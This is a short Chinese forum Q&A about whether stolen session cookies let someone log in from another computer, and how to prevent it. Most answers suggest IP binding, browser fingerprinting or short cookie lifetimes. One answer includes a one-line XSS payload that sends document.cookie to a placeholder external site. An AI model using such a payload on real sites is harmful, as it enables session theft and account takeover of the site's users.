偷取cookie

Question

虽然一个tmp里的session对饮一个用户的cookieid      但如果这个用户的sessionid以及其他cookie相关信息 被窃取  放在其他电脑浏览器上， 是不是  就能达到窃取cookie后登陆效果？如果是，该如何防范，分不好赚就一点了哈

Answer 1

cookie里保存数据加ip

Answer 2

通过抓包工具可以做到，可以在session中加入ip校验，或者进行浏览器指纹识别

Answer 3

如果cookie被放到其他电脑了，其他电脑也是可以登入了。问题是。你如果偷到cookie呢？在公共地方使用电脑，结束一般都会登出吧。你这种问题存在的场景基本不存在。如果要防范，可以设置cookie的过期时间很短。或访问ip的不同来判断，例如上次ip与本次ip不同就要重新登入。这样就可以防止了。

Answer 4

xss 可以窃取 cookie。
<script>window.location.href='http://yourwebsite.com/cookie/?cookie='+document.cookie</script>

Answer 5

首先你要有xss漏洞。